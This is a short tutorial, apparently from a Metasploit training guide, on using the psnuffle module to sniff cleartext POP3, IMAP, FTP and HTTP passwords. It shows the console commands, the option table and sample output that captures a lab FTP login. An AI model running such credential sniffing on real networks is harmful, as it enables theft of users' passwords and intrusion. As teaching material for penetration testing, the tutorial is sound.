Password Sniffing with Metasploit

Max Moser released a Metasploit password sniffing module named psnuffle that will sniff passwords off the wire similar to the tool dsniff. It currently supports POP3, IMAP, FTP, and HTTP GET. More information is available on his blog.

Using the psnuffle module is extremely simple. There are some options available but the module works great “out of the box”.

msf > use auxiliary/sniffer/psnuffle
msf auxiliary(psnuffle) > show options

Module options:

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FILTER                      no        The filter string for capturing traffic
   INTERFACE                   no        The name of the interface
   PCAPFILE                    no        The name of the PCAP capture file to process
   PROTOCOLS  all              yes       A comma-delimited list of protocols to sniff or "all".
   SNAPLEN    65535            yes       The number of bytes to capture
   TIMEOUT    1                yes       The number of seconds to wait for new data

There are some options available, including the ability to import a pcap capture file. We will run the psnuffle scanner in its default mode.

msf auxiliary(psnuffle) > run
[*] Auxiliary module execution completed
[*] Loaded protocol FTP from /usr/share/metasploit-framework/data/exploits/psnuffle/ftp.rb...
[*] Loaded protocol IMAP from /usr/share/metasploit-framework/data/exploits/psnuffle/imap.rb...
[*] Loaded protocol POP3 from /usr/share/metasploit-framework/data/exploits/psnuffle/pop3.rb...
[*] Loaded protocol URL from /usr/share/metasploit-framework/data/exploits/psnuffle/url.rb...
[*] Sniffing traffic.....
[*] Successful FTP Login: 192.168.1.100:21-192.168.1.5:48614 >> victim / pass (220 3Com 3CDaemon FTP Server Version 2.0)

There! We’ve captured a successful FTP login. This is an excellent tool for passive information gathering.

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